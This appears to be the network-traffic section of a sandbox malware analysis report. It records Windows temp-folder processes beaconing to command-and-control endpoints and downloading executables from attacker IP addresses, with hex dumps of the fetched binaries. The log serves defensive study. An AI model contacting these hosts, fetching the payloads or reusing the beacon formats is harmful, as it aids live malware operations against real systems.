Dec 16, 2024 13:17:38.514945984 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:38.765372992 CET	803	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AWN5LRJOYYg4B%2B8LejlUqD4Oez76BxsdGd1cLpBAuZYGphgSkZyHuV992mJJBrMdvd6ZgzBzKbJD7gmRf6nbOE7jl88smtIym%2FRS0a26zFgrkQyWeJRfdABX55QSrNK9MuyGGyrJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c86cdbd43bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6750&min_rtt=1580&rtt_var=10933&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=33999&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50012	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:38.752557993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:17:40.059571028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50016	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:39.118799925 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:39.480739117 CET	1060	OUT	Data Raw: 5d 56 43 53 59 5c 51 59 5d 5a 59 53 57 5c 5a 52 5a 52 5f 59 51 5a 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCSY\QY]ZYSW\ZRZR_YQZRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Y<"U==+% 0\%-#:$^,*);P%2(>: 3="F"#Y
Dec 16, 2024 13:17:40.455873966 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:40.457710028 CET	801	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hB46dHovYMWzkm1i96CrqSJ6s9v1CIIePKCHiXeJREAprkt6wGluEw3hfDZa4XC78mAujMC9RSLg9fcxMoa9CycHTwNs8cObnW4O9rJ6HXLBO2NTLbisCNdGL1WYWhQF4VrBC%2BQQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c914ff60fa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6750&min_rtt=1700&rtt_var=10738&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=34676&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50036	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:41.102677107 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:41.453967094 CET	1060	OUT	Data Raw: 58 5b 43 53 59 51 51 5f 5d 5a 59 53 57 53 5a 52 5a 54 5f 58 51 5d 52 44 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CSYQQ_]ZYSWSZRZT_XQ]RDXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [(5?=0$3")<]::(412"S=.]#8)"F"#Y
Dec 16, 2024 13:17:42.187370062 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:42.432894945 CET	815	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zurYYV%2By4ZdSXOVnddiUgEnNzODkPKzOktE7wCG2ESQcz%2FoJ8Qz%2FHyGss3Efc95nUGDbC9Rw1nUZPVTbKS0p6%2FA%2BB7px3cIU3MXqW6sFwSrDDm%2F2WTx1x9F4YGB4dz%2FJWn%2F9Dx6R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c9dbcb1c34b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6691&min_rtt=1620&rtt_var=10749&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=34606&cwnd=162&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50046	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:41.731684923 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:17:43.090784073 CET	397	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 63 66 0d 0a 20 3c 63 3e 31 30 31 36 31 30 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 65 37 31 39 31 34 65 35 34 61 36 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 36 31 30 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: cf <c>1016100001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1016101001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50054	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:42.685025930 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:43.044764042 CET	1060	OUT	Data Raw: 58 56 43 54 59 5a 54 5b 5d 5a 59 53 57 5c 5a 5f 5a 57 5f 5e 51 53 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVCTYZT[]ZYSW\Z_ZW_^QSRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ ?<.W=]0# 0=#[ :.:$?3S&->==\ Q3)"F"#Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50056	185.215.113.16	80	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:43.159533024 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 13:17:44.460607052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:43 GMT Content-Type: application/octet-stream Content-Length: 884736 Last-Modified: Mon, 16 Dec 2024 11:35:11 GMT Connection: keep-alive ETag: "6760106f-d8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,),`Ui` @ @.rsrc`2@.idata 8@hwkjnpms ++:@hgincagx +X+@.taggant@+"\+@
Dec 16, 2024 13:17:44.460623026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.460736036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.460760117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.460774899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.460789919 CET	620	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.460807085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.461071014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:44.461093903 CET	1236	IN	Data Raw: 13 b3 e6 a1 d5 e3 00 01 4f 45 20 b2 07 60 df d1 e2 5b c4 46 2b 4f 5f bc ca 57 11 0c 5e 01 26 57 f8 58 44 b7 0b 7d 1d ad 92 6b 0d ba 0b 52 c4 51 dc 54 32 2e d6 85 0a 41 b6 d8 c8 a3 5c 80 da 50 ff a8 07 41 b3 78 68 b4 25 d9 c8 a3 5c 76 d9 5c ff d8 Data Ascii: OE `[F+O_W^&WXD}kRQT2.A\PAxh%\v\AApPQXJxAyP/`_X3]p)Dc/5s^6cV /F=w_*_`KPTU.?VJ+lZmMxTPd~Bp[<
Dec 16, 2024 13:17:44.461108923 CET	1236	IN	Data Raw: 2c e1 bc 1e 14 b2 9f 0b 29 98 02 7a a9 fd a6 82 2f 1b 6b 0b e1 aa fc e3 28 b0 cd 51 72 b4 7b b3 1b e7 73 9d 66 33 19 0f e7 d3 cf 80 13 28 5e 03 91 2d f1 5e c9 65 96 ac 2a 50 b2 0c ea 4e 11 0b 54 fc 61 12 04 6f 4a 82 0f 2d 70 13 eb 8f 32 e4 1c 3f Data Ascii: ,)z/k(Qr{sf3(^-^e*PNTaoJ-p2?v7H-y"//9CbGb?B@)</pCX;Z)8uEM@9f:&3Z}@{1Q=fC?-#(;p,bjMb&\|LE eBKy.
Dec 16, 2024 13:17:44.582811117 CET	1236	IN	Data Raw: f4 41 ef c7 a4 2c 43 ba 36 d9 f4 ad 14 d0 49 f4 5c bf 1c d2 10 72 53 a3 3c 53 3b 3b 48 34 11 14 2d d3 10 ae 33 7c 67 27 5e 1c e8 c7 2e c2 5c ed 3f 19 09 ca e2 e9 43 aa 87 b2 70 6a e7 bc 1f 4a 3c 5c ea 3b 89 7e 19 4e 32 60 0c 71 fa ef 3f 0a f0 7f Data Ascii: A,C6I\rS<S;;H4-3\|g'^.\?CpjJ<\;~N2`q?7sW-\7;g)`"#=gCb{d%J\vQ^Lp-"x?2a~&8/c1.-df_=9vKWnow\|0D+BA/?A
Dec 16, 2024 13:17:49.000716925 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 13:17:49.437583923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:48 GMT Content-Type: application/octet-stream Content-Length: 1822720 Last-Modified: Mon, 16 Dec 2024 11:36:47 GMT Connection: keep-alive ETag: "676010cf-1bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@j6@M$a$$ $h@.rsrc$x@.idata $z@ $\|@adligwjc0O*~@fnzkdocei@.taggant0i"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50057	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:43.320719957 CET	61	OUT	GET /files/encoxx/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:17:44.570389032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:44 GMT Content-Type: application/octet-stream Content-Length: 393728 Last-Modified: Thu, 12 Dec 2024 07:55:00 GMT Connection: keep-alive ETag: "675a96d4-60200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'FFFFFFFFFFFFRichFPELfebQ@$8gd0:-@.textab `.data`f@.rsrcz0<@@
Dec 16, 2024 13:17:44.570472002 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 6d 05 00 00 00 00 00 88 69 05 00 9c 69 05 00 b4 69 05 00 c8 69 05 00 e2 69 05 Data Ascii: miiiiijj*jDjXjnjjjjjjjjk k6kRkhkpikkkkkkkll(l>lRlblvlll
Dec 16, 2024 13:17:44.570579052 CET	1236	IN	Data Raw: 6c 05 00 bc 6c 05 00 cc 6c 05 00 e2 6c 05 00 f6 6c 05 00 78 6b 05 00 5c 69 05 00 90 71 05 00 80 6d 05 00 9c 6d 05 00 ba 6d 05 00 cc 6d 05 00 d8 6d 05 00 f0 6d 05 00 08 6e 05 00 1a 6e 05 00 2a 6e 05 00 38 6e 05 00 4a 6e 05 00 62 6e 05 00 76 6e 05 Data Ascii: lllllxk\iqmmmmmmnnn8nJnbnvnnnnnnnnnoo8oJoXodonoooooooopp&p2p<pHpZpppppppppqqq<q
Dec 16, 2024 13:17:44.570626974 CET	1236	IN	Data Raw: 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e Data Ascii: ndicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtua
Dec 16, 2024 13:17:44.570642948 CET	1236	IN	Data Raw: 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b Data Ascii: *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=EEE00P('8PW700PP (`h`hhhxppwppGetProcessWindowStationGetUserObjectInformationAGetL
Dec 16, 2024 13:17:44.570775986 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(((( H
Dec 16, 2024 13:17:44.570802927 CET	1236	IN	Data Raw: 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 16, 2024 13:17:44.570818901 CET	1236	IN	Data Raw: 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 Data Ascii: '`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vec
Dec 16, 2024 13:17:44.570835114 CET	1236	IN	Data Raw: 00 00 00 60 2b 40 00 58 2b 40 00 4c 2b 40 00 40 2b 40 00 34 2b 40 00 28 2b 40 00 1c 2b 40 00 14 2b 40 00 08 2b 40 00 fc 2a 40 00 aa 1a 40 00 40 26 40 00 24 26 40 00 10 26 40 00 f0 25 40 00 d4 25 40 00 f4 2a 40 00 ec 2a 40 00 a8 1a 40 00 e8 2a 40 Data Ascii: `+@X+@L+@@+@4+@(+@+@+@+@@@@&@$&@&@%@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\|@x@t@p@l@h@d@`@\@X@T@P@L@@@4@,@
